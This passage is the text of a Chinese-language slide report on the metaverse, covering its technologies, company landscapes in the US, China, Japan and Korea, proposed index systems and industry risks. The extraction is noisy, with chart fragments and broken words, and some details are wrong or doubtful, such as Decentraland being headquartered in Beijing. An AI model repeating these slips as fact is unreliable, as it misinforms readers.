级应用”还未出现,因 此市场需求度和渗透率 还不高。元宇宙有可能 以其丰富的内容与强大 的社交属性打开5G的 大众需求缺口,提升 5G网络的覆盖率。 XR设备要达到真正的沉浸 感,需要更高的分辨率和 帧率,因此需要探索更先 进的移动通信技术以及视 频压缩算法。 5G的高速率、低时延、 低 能耗、大规模设备连接 等 特性,能够支持元宇宙 所 需要的大量应用创新。 元宇宙的算力基础:云计算 应 用 场 景 发 展 趋 势 NVIDIA Omniverse: 云端图形设计与计算平 台,将元宇宙的概念用 于开发端。 Epic Cloudgine: 为虚幻引擎提供面向元 宇宙中海量实时交互式 内容的云计算能力。 Microsoft Azure Amazon AWS …… 云储存、云计算,特别是 云渲染:目前大型游戏采 用客户端+服务器的模式, 对客户端设备的性能和服 务器的承载能力都有较高 要求,尤其在3D图形的渲 染上完全依赖终端运算。 要降低用户门槛、扩大市 场,就需要将运算和显示 分离,在云端GPU上完成 渲染。因此,动态分配算 力的云计算系统将是元宇 宙的一项基础设施。 2020年7月,微软将旗下游 戏《我的世界》(Minecraft) 从亚马逊云服务(AWS)转 移到自家Azure云服务。 元宇宙的虚实界面:拓展现实、机器人、脑机接口 应 用 场 景 发 展 趋 势 目前,VR产业中 Oculus已有一家独大之 势,而高通XR2平台则 成为唯一的芯片解决方 案。AR技术在苹果开 发者生态的大力扶持下 产生了大量优秀产品。 MR则是微软提出的标 准,产品为HoloLens。 元宇宙有望以UGC内容 生态为XR航而言注入 活 力,打破其内容贫 乏的 瓶颈。 IDC预测,2020-2024 年间,VR/AR终端出货 量增速将达到约86%。 • 拓展现实包括VR(虚拟现实)、AR (增强现实)、MR(融合现实)。 • VR提供沉浸式体验,通过全面接管人类 的视觉、听觉、触觉以及动作捕捉来实 现元宇宙中的信息输入输出。 • AR则在保留现实世界的基础上叠加一 层 虚拟信息。 • MR通过向视网膜投射光场,可以实现 虚拟与真实之间的部分保留与自由切换。 • 机器人通过实体的仿真肉身成为连通元 宇宙的另一种渠道。 • 脑机接口技术的应用正在成为科技巨头 争夺的焦点,目前主要应用于医学领域。  VR元年后的第五年,其应用仍然局限于极客人群和专业应用领域  目前的两个瓶颈:价格高,内容少  元宇宙的发展会极大激活VR内容生态 数据来源:IDC 数据来源:艾媒咨询 VR 数据来源:IDC(International Data Corporation) 智能手机 无人机 数据来源:三胜产业研究中心 可穿戴 元宇宙激活VR内容生态 元宇宙的生成逻辑:人工智能 应 用 场 景 发 展 趋 势 为了在元宇宙中实现最 大限度的自由,AI技术 需要从传统的决策树和 状态机向更高级的深度 学习、强化学习发展, 从而营造随机生成、从 不重复的游戏体验,摆 脱人工脚本的限制,允 许玩家自由探索、创造。 • 大幅提升运算性能 • 内容生产 智能生成不重复的海量内容, 实现元宇宙的自发有机生长 • 内容呈现 AI驱动的虚拟数字人将元宇宙 的内容有组织地呈现给用户 • 内容审查 对元宇宙中无法以人工完成的 海量内容进行审查,保证元宇 宙的安全与合法 元宇宙的世界蓝图:数字孪生 未来数字世界或虚拟世界将比物理世界大 上数千倍,工厂和建筑都将有一个数字孪 生体模拟和跟踪它们的实体版本。 ——NVIDIA CEO黄仁勋 应 用 场 景 发 展 趋 势 Gartner预计数字孪生市场将从 2019年的38亿美元增长到2025 年 的358亿美元,复合年增长率 为 45.4%。 国内主要产品: 华为河图Cyberverse 百度DuMix AR 51World UINO优锘 数字孪生即在虚拟空间内 建立真实事物的动态孪生 体。借由传感器,本体的 运行状态及外部环境数据 均可实时映射到孪生体上。 该技术最初用于工业制造 领域,而元宇宙需要数字 孪生来构建细节极致丰富 的拟真的环境,营造出沉 浸式的在场体验。 元宇宙的认证机制:区块链 应 用 场 景 基于去中心化网络的虚拟货 币,使得元宇宙中的价值归 属、流通、变现和虚拟身份 的认证成为可能。具有稳定、 高效、规则透明、确定的优 点。 此外,NFT(非同质化代币) 由于其独一无二、不可复制、 不可拆的特性,天然具有收 藏属性,因此可以用于记录 和交易一些数字资产,如游 戏道具、艺术品等。 《加密猫》是早期基于NFT逻辑的游戏,每只 猫都独一无二的特征组合,可用于交易、收藏。 《Roblux》的虚拟货币Robux与 法币的汇率 2 元宇宙的产业生态 元宇宙生态版图渐趋成熟 …… 场景内容入口 前端设备平台 底层技术支撑 虚拟主机 VR、AR 智能可穿戴 游戏 旅游 加密钱包和入口 交易平台 影院 会展 经济体系 …… …… 底层架构 后端基建 区块链 NFT 虚拟货币 5G GPU 云化 人工智能 交互技术 网络及运算技术 物联网 可视化及数字孪 生 社交 购物 教育 体育 AI计算实体 触觉 手势 声控 神经设备 广告网络 元宇宙生态版图渐趋成熟 元宇宙支撑技术多维拓展 云计算 边缘计算 网络及运算技术 5G/6G网络 自然语言处理 人工智能技术 计算机视觉 机器学习 分布式账本 数据传播及 验证机制 区块链技术 哈希算法及时间 戳技 术 共识机制 智能合约 分布式存储 为元宇宙大量的应用场景提供技术支持 底层架构 物联网技术 应用层 后端基建 交互技术 网络层 感知层 全息影像技 术 随机交互技 术 传感技术 电子游戏技术 游戏 引擎 3D 建模 实时 渲染 智能语音 产业板块的增长情况 底层技术企业 前端设备企业 场景内容企业 视 觉 中 国 歌 尔 股 份 超 图 软 件 海 康 威 视 瑞 芯 微 宝 通 科 技 科 大 讯 飞 京 东 方 A 完 美 世 界 景 嘉 微 思 瑞 浦 电 魂 网 络 时间:2021/07- 2021/09 元宇宙的梯次产业变革 时间 市 场 吸 引 力 政府公共服 务 设计 规划 工业制造 医疗 教育 游戏 展览 3 中美日韩元宇宙发展现状 主要元宇宙公司盘点 社交系统 UGC生 态 图像引擎 拓展现实 MMO游戏 Facebook于2021年6月5日 收购了Unit 2 Games,拥有 了类似Roblox+Fortnite的元 宇宙游戏平台《Crayta》 社交系统 UGC生 态 图像引擎 拓展现实 MMO游戏 社交系统 UGC生 态 图像引擎 拓展现实 MMO游戏 社交系统 UGC生 态 图像引擎 拓展现实 MMO游戏 社交系统 UGC生 态 图像引擎 拓展现实 MMO游戏 社交系统 UGC生 态 图像引擎 拓展现实 MMO游戏 元宇宙厂商的四套叙事 虚实融合 去中心化交易 自由创造 社交协作 3.1 美国元宇宙行业现状 • 以游戏的方式进行教育创新 • 启发式教学 • 探索式教学 • 互动式教学 • 专注于计算机、科学、工程领域 Roblox 生产者 生产者 消费者 生产者 消费者 未来的元宇宙应该是由用户创 造的,而Roblox公司则是工 具 和技术的提供者。 ——Roblox CEO Dave Baszuck i 消费者 • Prosumer社区文化:每个用户都是producer + consumer • 改变了一直以来内容生产环节与消费环节相互割裂的状况 • 在经济系统中按较高比例回馈内容生产者 普鲁士教育体制 • 军事化管理 • 标准化教学内容 • 服务于工业体系 • 强调记忆,缺乏创造性 • 强调纪律、服从、等级 Roblox教育创新 Facebook Horizon里有各种不同的服务,涵盖社交、游 戏、工作、协作和生产力。我们非常专注于为 创作者和开发者提供开发工具。……我们不只 是将它构建为单个应用程序或体验,我们正在 将其构建为一个平台。……我认为它将在帮助 建立这个广阔的元宇宙方面发挥重要作用。 ——Mark Zuckerberg 2021年7月27日,Facebook宣布将 成 立元宇宙团队,在五年内转型为 元宇 宙公司。新团队将由Instagram负责 产品的高管Vishal Shah以及 Facebook游戏高管Jason Rubin带领。 Epic Games (2021年4月13日,Epic Games宣布投资 10 亿美元打造元宇宙。) 这笔投资将加速我们的工作建造相互连通的 社交体验在《Fortnite》《Rocket League》 和《Fall Guys》,同时赋能使用虚幻引擎 Epic Online Services and the Epic Games Store的游戏开发者和发行商提供更好的服 务。 ——Epic Games CEO Tim Sweeney 基于云端虚幻引擎的高保真数字人类 设计平台MetaHuman Creator 2020年、2021年,索尼 两次投资Epic Games Epic公司在图形等领域所展现的强大技术, 使他们的虚幻引擎及其他创新技术始终走在 行业最前沿。 ——索尼CEO吉田健一郎 我们认为Epic Games《堡垒之夜》 是游戏行业首个可信的“元宇宙”虚 拟世界。 ——Lego Ventures CEO Rob Lowe Microsoft 混合现实协作平台 Microsoft Mesh XBOX游戏生态 增强现实眼镜 Microsoft HoloLens 2 基于数字孪生的游戏 《模拟飞行2020》 云计算服务Azure 《模拟飞行》这款游戏是我们做模拟 真实地球的一个缩影。以后大家在玩 这款游戏时,真正的体验是地球。在 这里面,同时还有2万多个城市,15 亿座建筑,1亿1千7百万个湖泊,2万 亿棵树。地球上每增加一颗树我们都 在加到游戏中去。 ——微软 Sherri Xiao 随着虚拟世界和物理世界的融合,由数字孪生、 模拟环境和混合现实组成的元宇宙正在成为一流 的平台。使用Metaverse,整个世界都将成为您 的应用画布。借助 Azure 数字孪生,您可以使用 Azure IoT 对任何资产或场所进行建模,并使数 字孪生保持实时更新。Synapse 跟踪数字孪生的 历史并发现洞察力来预测未来状态,借助Azure, 您可以构建不断学习和改进的自主系统。Power Platform使领域专家能够使用低代码/无代码解决 方案扩展数字孪生数据并与之交互。而Mesh和 Hololens 则带来了实时协作。 ——微软CEO Satya Nadella Decentraland • 基于以太坊的VR的虚拟世界,第一个完全去中心化、由用户所拥有的虚拟世界。 • Decentraland 的核心内容是艺术作品,设有专门用于展示数字化艺术品的地方。苏世比拍 卖行已入驻Decentraland。 • 设有虚拟房地产拍卖交易场景,用户可以购买土地和其他商品,搭建自己的房屋或城市。 • Decentraland使用NFT代币MANA,可用于拍卖。 • 2021年3月,Decentraland中的赌场聘用现实用户为经理,雇员负责管理赌场运营,工资用 虚拟资产支付。 • 在Decentraland里可以购买Domino比萨。 注:Decentraland目前总部设于北京 苏世比拍卖行入驻 Decentraland Decentraland的地 图 Decentraland的土地交易市 场 Decentraland代币的美元汇 率 3.2 中国元宇宙行业现状 腾讯 Metaverse的神奇之处在于它将无缝整合我们社交、 生活、消费的各种平台,跨越了AR、VR、音频、互 联网与物理世界,而腾讯在其中每个环节都掌握了最 关键的选手。……投资,而不是完全拥有,才是入场 Metaverse的正确方式。对于去中心化的Metaverse 来说,把赌注分散在平台和内容创造者之间,而不是 试图建立一个中央平台,是更合理的选择。 ——Packy McCormick 专为游戏社区设计的网络通 话软件与数字发行平台 行业标准的图形引擎 对开发者友好的发行平台 最有元宇宙潜质的大型游戏 与腾讯建立战略合作关系 虚拟演出服务领导者 AR开发平台 AR UGC生态 AR硬件设备 全球最受欢迎的音 频流媒体服务平台 完善的元宇宙资本布局 类似《Second Life》 的3D虚拟世界 社交元宇宙 腾讯持股 49.9% 字节跳动 2021年8 月,字节跳动收购 中国VR设备公司PICO。 注册“PIXSOUL”商标,或为 类 SOUL的元宇宙社交产品。 抖音、TIKTOK拥有全球范围的 用户基础、活跃的UGC生态与 线 上线下打通的商业模式 投资视觉计算及AI计算 平台提供商摩尔线程 投资3D 视觉技术解决方案提供商熵智科技 字节跳动投资的公司代码乾坤发行了 《重启世界》,概念与Roblox相似。 投资AI创作服务商百炼智能 网易 • 推出《河狸计划》原创游戏社区,提供低门槛游戏开发工具。 • 投资IMPROBABLE,其云计算平台SPATIALOS允许第三方建立大型虚拟世界。 • 投资虚拟角色社交平台IMVU。IMVU主打化身场景社交,拥有VCOIN代币和用户生成平 台 WITHME,可以自由设计化身,在夜场、海滩、花园、豪宅、KTV等场景中聊天并做 出各种 动作、姿势。 IMVU • 推出游戏开发平台和社区 • 发起“达芬奇计划”游戏创作大赛 • 投资AI团队“启元世界”,研发用于在线游戏的认知决策智能技术 • 投资云游戏技术平台“念力科技”,研发云游戏解决方案 莉莉丝 UGC 平 台 云游 戏 AI • 现象级开放世界RPG游戏《原神》展示出强大的开发实力 • 出资8900万美元参与“社交元宇宙”Soul的私募配售 • 开发以“鹿鸣”为代表的基于虚幻引擎的虚拟形象解决方案 • 与上海交大医学院附属瑞金医院合作建立“瑞金医院脑病中 心米哈游联合实验室”,研究脑接口技术的开发和临床应用 • 组建人工智能科学家团队“逆熵工作室” 米哈游 脑机 接口 鹿鸣 逆熵 工作室 2030年,打造出全球十亿人愿意生 活 在其中的虚拟世界。 ——米哈游联合创始人及总裁蔡浩宇 元宇宙:米哈游的第二条曲线? 米哈游“鹿鸣”的一条视频观看量近2000 万 3.3 日本元宇宙行业现状 日本社交网站巨头GREE称,将以子公司REALITY为 中心,开展元宇宙业务。预计到2024年将投资100亿日 元(约5.9亿人民币),在世界范围内发展一亿以上的 用户。该公司认为,并不是只有3D画面才能叫虚拟世 界,让用户感受到社会性的机制更为重要。“‘个人 房间’、‘宠物’和‘虚拟形象’都是让用户感受到生 活气息、把GREE平台融入日常生活的一种方式。而通 过 ‘个人房间’对现有功能的整合,GREE平台可以构 建起 一个完整的虚拟世界。”好的元宇宙应该向用 户提供 有助于构建人际关系、长时间停留在虚拟世界 的机制。 日本元宇宙探索:虚拟世界+社交网络 ● 2021 年8 月5 日, Avex Business Development跟 Digital Motion成立《Vir tual Avex( 虚拟爱贝克 思) 集 团》, 计划促进现有动漫或游戏角色, 举办虚 拟艺术家活 动, 以及将真实艺术家演唱会等活动虚拟 化。 ● Cluster主打VR虚拟场景多人聚会, 用户可以自由创 作3 D 虚拟分身和虚拟场景, 在演出活动中, 嘉宾可以 在房间内 连麦发言、登台演讲、播放幻灯片或视频, 而普通观众则 以发表文字评论、表情和使用虚拟物品 来进行互动。与虚 拟偶像“ 辉夜月”、日本连锁 l ivehouse品牌Zepp合作, 举行了世界首场VR付费 演唱 会; 2020 年11 月举行了《Vir tual Tokyo Tower》活动。 ● 2020 年3 月, 任天堂发布《动物之森》系列第7 部作品。与 之前的动物之森系列相同, 每个用户占据一座荒岛, 可以自 由改造; 用户需要付出时间进行重复性劳动, 才能换取游戏 中的金钱购买道具; 游戏中的时间与现实同步; 可以访问其 他用户的岛屿; 可以设计自己的衣服、招牌等道具。全球顶 级AI学术会议ACAI在《动物森友会》上举行研讨会。 多元参与,发挥日本动漫文化影响力 • 拥有PlayStation主机系统和游戏生态 • 2016年推出PlayStation VR • 入股Epic Games并建立合作关系 • 推出《Dreams Universe》,可以在其中进行3D游戏创作、制作视频,并分享到UGC社区。 其概念类似 《Roblox》,但上手难度更低、图像效果更好。 Sony Dreams对我来说是一个可以做任何东西的平 台 和创意引擎,你可以打造一款游戏、制作 一个 电视节目,你可以做一部电影,可以做 任何想 做的东西,它是一个创意平台。 ——《Dreams Universe》玩家Neon The Coder 《Dreams Universe》社区 《Dreams Universe》制作的游戏画面 日本首创元宇宙平台 “Mechaverse” 日本VR开发商 Hassilas 公司正式宣布其最新 Metaverser( 元宇宙) 平台: Mechaverse 。 该平台无需用户注册, 就可以通过浏览器直接 访问, 商务用户更可在此平台上快速举办产品 发 布会, 并为与会者提供视频介绍和3 D模型体 验。 Mechaverse 平台单一场景最多可同时 容纳 1000 名用户, 且提供服务较多, 包括虚 拟音乐 会、虚拟体育场等常见项目。 3.4 韩国元宇宙行业现状 2021年5月18日,韩国信息通讯产业振兴院联合25 个 机构和企业成立“元宇宙联盟”,旨在通过政府和 企 业的合作,在民间主导下构建元宇宙生态系统,在 现 实和虚拟的多个领域实现开放型元宇宙平台。 韩国政府成立元宇宙联盟 “元宇宙不是一个大企业垄断的空间,而是多 个企业共存共建的空间……“民间主导的元宇 宙 联盟将成为合作的中心”。 ——韩国科学技术信息通信部次官赵京植 以及8个关机构和协会 情报通信产业进兴院(NIPA) 韩国电 波振兴协会(RAPA) 韩国虚拟增强现实产业协会(KoVRA) 韩国电子通信研究院(ETRI) 信息通信规划评价院(IITP) 韩国放送通信传播振兴院(KCA) 韩 国移动产业联合会(MOIBA) 软件政 策研究所(SPRi) • 共同遵守“元宇宙-Hub”协议 • 结合旗下企业各自的优势,共同发掘具有商业前景的元宇 宙项目 • 联盟内部成员之间共享有关元宇宙趋势和技术相关的信息 • 成立咨询委员会避免道德与文化的问题 • 科学和信息通信技术部将提供支持 共投资2024亿韩元 (11亿6千万元) XR内容开发支援--- 473亿韩元 (2亿7千万元) 数字内容开发支援---156亿韩元 (8千9百万元) R&D投资---537亿韩元 (3亿7百万元) XR内容产业基础建造---231亿韩元 (1亿3千万元) 数字内容企业支基础建造---186亿韩元 (1亿6百万元) 人才培养---107亿韩元 (6千万元) 支持数码内容进军海外---119亿韩元 (6千8百万元) 数码内容基金投资---200亿韩元 (1亿1千万元) 公买公卖环境建造---15亿韩元 (9千万元) 韩国数字新政(Korean Digital New- deal) 数字内容产业培育支援计划 Relumino Glass 三星为视觉障碍人士开发的VR眼镜。有角膜混浊症状的人戴上与Rel umino应用程序联动的VR机器可以看到更清晰的轮廓。该软件还有 折射障碍和高度近视矫正效果。 “人工智人”(Artificial Human)项目NEON 于CES 2020上正式展出,能像真人一样快速响应对话、做出真实 的 表情神态,且每次微笑都不尽相同,因为它可以构建机器学习 模型, 在对人物原始声音、表情等数据进行捕捉并学习之后,形成 像人脑 一样的长期记忆。 三星 SAMSUNG JUMP AR 基于AR的App,可以设计自己的AR形象并放置在现 实场景中拍摄照片、视频,还与众多K-POP明星 联 名推出明星的AR形象,使用体积视频捕捉技术 (Vo lumetric Video Capture Technology),允 许用户 与偶像随时随地合影留念。 UNIVERSE 游戏企业NC soft推出的元宇宙平台。特别为K- POP 粉丝们提供了服务,如“Private Call”,用 户可以 收到深度学习生成的艺人的语音信息。此 外还可以 自由装饰偶像成员的3D角色、跳舞等动作。 SK telecom、NC soft ZEPETO目前拥有2亿名使用者,其中有90%来自海外, 80% 的用户是10多岁的青少年(以今年2月为准)。 2020年9月,ZEPETO上举行了韩国偶像“BLACKPINK” 的 虚拟签名会,超过4千万人参加。 2020年10月、11月,BigHit和YG、JYP Entertainment 等 韩国娱乐巨头对NAVER进行了170亿韩元的投资,标志 着娱 乐业大规模进军元宇宙。 ZEPETO还与时尚名牌Gucci、NIKE、Supreme等时尚大 牌 合作推出了系列联名虚拟产品。 ZEPETO ZEPETO ZEPETO上开设了“首尔创业中心世界”展示首尔 64 家优秀创业企业和首尔市的创业支持政策。首 尔市 政府表示: “将超越现实世界,通过利用元宇宙这一领先 的市场营销平台,为首尔的创业生态界广泛 传播提供多方支援。” 《元喜龙世界》每周两次以上在Zepeto上和国民沟通 韩国旅行公司TRAVOLUTION在ZEPETO上开展的‘首 尔PASS’活动,开辟连接虚拟空间和现实生活的营销 方 式,在旅行地图的一些地点设置了优惠券。用户 可以 在石村湖和乐天世界之类的虚拟空间旅行,寻 找隐藏 的打折优惠券在现实中使用。 Hodoo English Hodoo Labs公司以消除教育差距为目标,推出了Hodoo English,将300多名角色和约4300种情况嫁接到虚拟现 实 场景的英语会话中。使用者在5个大陆、30多个假想 村庄 中游历,培养英语能力。 Hodoo Labs今后将引进在虚拟世界里可以进行多种课程 的Hodoo Campus,可以在其中参加在不同村庄举行的读 书节目、编程节目、美术节目。 Hodoo Labs:教育元宇宙 2021年5月29日亚洲心血管胸部外科学会(ASCVTS)第29届在线学术大会上, 首尔大学医院利用 XR平台进行了实时分享。 来自英国曼彻斯特大学医院、新加坡国立大学医院及亚洲多国的胸外科医疗团队共200多人参加。 首尔大学 韩国:政府引领,偶像工业驱动 中美日韩四国元宇宙发展总结 中国:理念上的追随者,市场广阔 美国:理念上的开拓者,正处于投资风口 日本:ACG产业积累深厚,IP资源丰富 技术发展度 资本活跃度 市场规模 产业健全度 美国 ★★★★★ ★★★★★ ★★★★ ★★★★ 中国 ★★★★ ★★★★ ★★★★ ★★★ 日本 ★★ ★★ ★ ★★ 韩国 ★★★ ★★ ★ ★★ 4 面向企业的元宇宙 由虚向实:游戏体验真实化→游戏元宇宙 由实向虚:产业生产虚拟化→产业元宇宙 产业元宇宙 生产力的解放 洞察力的飞跃 决策力的提升 基础设施 5G网络 传感器 云计算、云储存 协议和标准 区块链 从数据到模型 数据采集 三维建模 数据可视化 动态模拟 平台底层设定 化身与虚拟人 虚拟货币 团队与社交 开放式协议 平台创作系统 跨企业通用平台 共享 开发工具 从线性流程到实时协作 动态模拟,共同修改 UGC创作生态 平台经济系统 数据云服务与人力价值释放 数字化运营与人力价值回馈 态势感知与商业模式转型 产业仿真与社会经济革新 全生命周期管理 数据管理与云服务 空间 计算与规划管理 指标审核与三维交互设计 监测预警与施工管理 资产运营与安全服务 企业元宇宙 企业需要新型虚拟营销场景 元宇宙是终极虚拟营销场景 企业需要新的用户互动方式 用户从被动消费到参与生产设计 企业需要有效代言 虚拟人品牌代言规避真人合作风险 企业需要虚实融合的存在形态 需要打破实物与虚拟场景隔阂 技术应用 数字孪生 搭建拟真场景 虚拟数字人 品牌代言推广 实体机器人 虚实结合营销互动 VR、AR、MR 元宇宙体验模式多样化 虚拟支付体系 营销闭环完成 市场需求 企业元宇宙 营销场景 数字孪生 生产场景 客服场景 业务数据 外部数据 VR、AR、MR 移动端 类roblox元宇宙 品牌方资源 元宇宙基础设施 元宇宙入口 元宇宙要素 虚拟数字人 真人IP 虚拟IP 元宇宙营销 直播/视频营销 游戏化营销 线下共振营销 元宇宙互动 C2M定制 用户表达 用户行为 元宇宙交易 虚拟价值 虚拟币/NFT 现实币 5 元宇宙指数体系 元宇宙指数体系 元宇宙行业 发展指数 元宇宙社会 认知指数 元宇宙企业 发展指数 元宇宙企业 发展指数 元宇宙企业 发展指数 两 者 差 距 产业大数据 舆情大数据 元宇宙 泡沫指数 社会期待 技术发展的不确定性 网络谣言 公众与专家的认知壁垒 科学幻想的遮蔽性 资本投机 元宇宙行业发展指数 元宇宙行业发展指数 一级指标 二级指标 数据来源 标准化Ui 权重Wi 技术发展 (20%) 研发投入 代表性公司年报 Ln(X1+1) 10% 论文数量 新增相关论文数量 Ln(X2+1) 5% 专利数量 新增相关专利数量 Ln(X3+1) 5% 产业规模 (20%) 企业数量 行业企业数量 Ln(X4+1) 5% 资金规模 企业注册资本总额 Ln(X5+1) 15% 市场规模 (25%) 产品规模 在售产品数量 Ln(X6+1) 2% 在售产品销量 Ln(X7+1) 3% 消费规模 代表公司销售收入 Ln(X8+1) 10% 用户规模 月活用户数量 Ln(X9+1) 10% 产业活力 (15%) 企业活跃度 初创公司数量 Ln(X10+1) 5% 资本活跃度 投融资笔数 Ln(X11+1) 3% 投融资总额 Ln(X12+1) 7% 产业环境 (20%) 社会环境 元宇宙社会认知指数 Ln(X13+1) 10% 政策环境 评估打分 Ln(X14+1) 10% 资 本 产品 初创 公司 大公 司 市场 投资 投 资 需求 产业 产业环境 研发 元宇宙行业逻辑图 元宇宙社会认知指数 元宇宙社会认知指数 一级指 标 二级指标 标准化Ui 权重 Wi 传播度 (20%) 全网声量 Ln(X1+1) 10% top100微博转发数 Ln(X2+1) 4% top100微信文章阅读量 Ln(X3+1) 4% 相关社交媒体账号数量 Ln(X4+1) 2% 好感度 (50%) 全网舆论情感分析 Ln(X5+1) 30% 微博top100热文情感分析 Ln(X6+1) 10% 微信top100热文情感分析 Ln(X7+1) 10% 关注度 (20%) 相关关键词百度指数 Ln(X8+1) 10% 相关关键词Google Trends Ln(X9+1) 10% 关键词“元宇宙”Google Trends热度走势 社会认知指数=泡沫指数+行业发展指数 元宇宙企业发展指数 企业发展指数 一级指标 二级指标 数据来源 标准化Ui 权重Wi 开发能力 (20%) 研发投入 企业年报 Ln(X1+1) 10% 新增专利数 Ln(X2+1) 5% 新增论文数 Ln(X3+1) 5% 市场份额 (30%) 产品市场占有率 企业年报 Ln(X4+1) 30% 资金状况 (30%) 市值 企业年报 Ln(X5+1) 10% 销售收入 Ln(X6+1) 5% 净利润 Ln(X7+1) 10% 融资额 Ln(X8+1) 5% 品牌影响 (20%) 知名度 全网声量 Ln(X9+1) 5% 美誉度 正面声量占比 Ln(X10+1) 10% 关注度 百度搜索指数 Ln(X11+1) 2% Google Trends Ln(X12+1) 3% 元宇宙的发展阶段 图:Gartner 2021年新兴技术成熟度曲 线 • NFT • 去中心化身份 • 生成式人工智能 • 多重体验 • 数字人类 • 基于物理信息的人工智能 • AI增强软件工程 • 工业云 多种元宇宙技术正积累社会期待 阶段 阶段特征 潜伏期 技术停留在实验室中 准备期 相关技术相继成熟,企业推出相关概念及发展战略, 行业媒体关注 高潮期 特定事件导致行业出圈,出现若干明星企业与产品, 引起全社会关注、资本与舆论追捧 冷却期 过于乐观的社会期待破灭,舆论退潮,投机资本离场 稳定期 产业形成稳定盈利与发展模式 衰退期 资本与舆论被新兴行业吸引,新产品减少,用户离开 产业发展呈现周期性规律 元宇宙发展曲线 199 0 198 0 200 0 201 0 202 0 203 0 多人线上开放世界《second life》 《World of Warcraft》大热, 成 为元宇宙前身 《Roblox》提出元宇宙 愿景,引发行业热潮 潜伏 期 准备 期 高潮 期 发展趋 势 冷却 期 高潮 期 稳定 期 衰退 期 稳定 期 冷 却期 在本次元宇宙概念热潮之前, 21世纪初已经经历过一次元 宇 宙雏形的发展高峰 元宇宙未来的发展高峰: VR技术的突破 AR技术的突 破 机器人作为虚实界面的发展 元宇宙内容出现爆款 脑机接口技术的突破和产品化 风险篇 元宇宙产业生态系统健康度/风险度评估 自然生态系统 健康 度影响因素 产业生态系统 健康 度影响因素 元宇宙产业生态系统特征及分析 活力 生产力 ①市场规模小,只有少量领先型用户,难以产生大规模经济效益; ②相关新兴技术的基础研究投入多,但技术成果转化能力不高,即基础创新尚可,落地应用不 够; ③产业成长能力较强,具有一定发展潜力。 恢复力 稳健性 ①潜在主导设计相互竞争,不确定性高; ②核心产品种类少、性能不稳定; ③缺乏统一的标准体系,潜在标准相互竞争; ④舆论泡沫仍然存在。 组织结构 组织结构 ①核心企业尚未明确; ②配套投入企业数量少,与核心企业处于搜寻、协调过程; ③中介组织数量少,水平较低。 维持生态系统服务 服务功能 ①技术、资金、创业等相关支撑要素短缺; ②政策缺位,监管体系不完善。 管理的选择 - 减少投入 - 对相邻系统的危害 适应性 ①产品具有独特价值,但价格较高或产品适用性受限,若发展完善,对社会贡献程度较高; ②对其他产业生态系统发展具有促进作用,但也可能对一些传统产业造成冲击; ③元宇宙产业发展伴随着大规模数据中心和超算中心的建立,可能会带来能耗问题。 人类健康影响 公平性 ①公平性理念还需要加强,亟需打造公平的竞争环境; ②元宇宙产业发展必须依赖于产业生态系统中各主体的相互配合与共同支撑,需要构建系统主 体间合理的利益分配机制。 当前元宇宙产业处于“亚健康”状态 健康度 充分健康型 基本健康型 概率值 17.72 % 28.28 % 亚健康型 病态型 39.46% 14.70 % • 目前元宇宙产业生态系统处于亚健康状态。 • 由于元宇宙产业还处于初期发展阶段,具有新兴产业的不成熟、不稳定的特征也是合理的,未来发展不仅要靠技术创 新引领,还需要制度创新(包括正式制度和非正式制度创新)的共同作用,才能实现产业健康发展。 1.2 1 0.8 0.6 0.4 0.2 0 0% 10% 20% 30% 40% 50% 60% 70% 80% 90% 100% Probability Cumulative probability 元宇宙产业发展十大风险 资本操纵 雏形期的元宇宙仍存在 诸多不确定性,产业和 市场都亟需回归理性。 舆论泡沫 非理性的舆论泡沫呼应 着非理性的股市震荡。 伦理制约 如何在去中心化的框架 中构建元宇宙的伦理框 架共识,仍需从多视角 去进行探索。 算力压力 如何保障云计算稳定性、 低成本算力资源等诸多 问题都有待解决。 经济风险 经济风险可能会从 虚拟世界传导至现 实世界。 沉迷风险 过度沉浸虚拟世界亦有 可能加剧社交恐惧、社 会疏离等心理问题。 垄断张力 各家巨头间的竞争态势 决定了其生态的相对封 闭性,完全的开放和去 中心化很难实现。 产业内卷 概念上的突破并未从本 质上改变产业内卷的现 状。 隐私风险 个体隐私数据作为支撑 元宇宙持续运转的底层 资源需要不断更新和扩 张,数据资源合规收集、 储存与管理尚待探讨。 知识产权 多主体协作与跨越 虚实边界的改编应 用很可能会引发产 权纠纷。 舆论泡沫风险 • 在资本吹捧下,非理性的舆论泡沫呼应着非理性的股市震荡。 • 但从产业发展现实来看,目前元宇宙产业仍处于社交+游戏场景应用的奠基阶段,还远未实现全产业覆盖和生态开放、 经济自洽、虚实互通的理想状态。 • 元宇宙的概念布局仍集中于XR及游戏社交领域,技术生态和内容生态都尚未成熟,场景入口也有待拓宽,理想愿景 和 现实发展间仍存在漫长的“去泡沫化”过程。 100 120 100 80 60 40 20 0 2020/9/1 3 2020/10/1 3 2020/11/1 3 2020/12/1 3 2021/1/1 3 2021/2/1 3 2021/3/1 3 2021/4/1 3 2021/5/1 3 2021/6/1 3 2021/7/1 3 2021/8/1 3 谷歌搜索热度 765 8584 8 100000 80000 60000 40000 20000 0 2021/6/2 8 2021/7/ 5 2021/7/1 2 2021/7/1 9 2021/7/2 6 2021/8/ 2 2021/8/ 9 2021/8/1 6 2021/8/2 3 2021/8/3 0 2021/9/ 6 百度搜索热度 • 从世界范围来看,中国对“元宇宙”的搜索量最高 • 从搜索热度来看,4月18日的搜索热度达到峰值,相关事件: 1、 4月13日,Epic Games获得10亿美元投资。 2、 4月20日,游戏引擎研发商代码乾坤(号称”中国版Roblox”)获字节跳动近1亿人民 币的战略投资。 0 2020/9/13 2020/10/1 2020/11/1 2020/12/1 2021/1/13 2021/2/132021/3/13 2021/4/13 2021/5/13 2021/6/13 2021/7/13 2021/8/13 3 3 3 全球搜索热度 120 100 100 80 60 40 20 中国香港 塞浦路斯 新加坡 韩国 中国 全球:亚洲国家地区关注度颇高 765 8584 8 80000 70000 60000 50000 40000 30000 20000 10000 0 2021/6/2 8 2021/7/ 5 2021/7/1 2 2021/7/1 9 2021/7/2 6 2021/8/ 2 2021/8/ 9 2021/8/1 6 2021/8/2 3 2021/8/3 0 2021/9/ 6 中国搜索热度 100000 90000 • 9月8日,“元宇宙”概念强势上攻,概念板块中25只个股集体飙升。 • 自从字节跳动收购国内VR厂商Pico的消息传出之后,“元宇宙”热度从一级市场传导至二级市场。 • 2021年9月9日,#元宇宙概念股#登上微博热搜。 中国:关注度与股市波动形成强联动 备注: 相关词距圆心的距离表示相关词与中心检索词的相关性强度; 相关词自身大小表示相关词自身搜索指数大小,红色代表搜索指数上升,绿色代表搜索指数下降。 搜索共现词:NFT、XR、游戏共现频次高 图片来源:百度指数 (百度搜索 中文相关词) 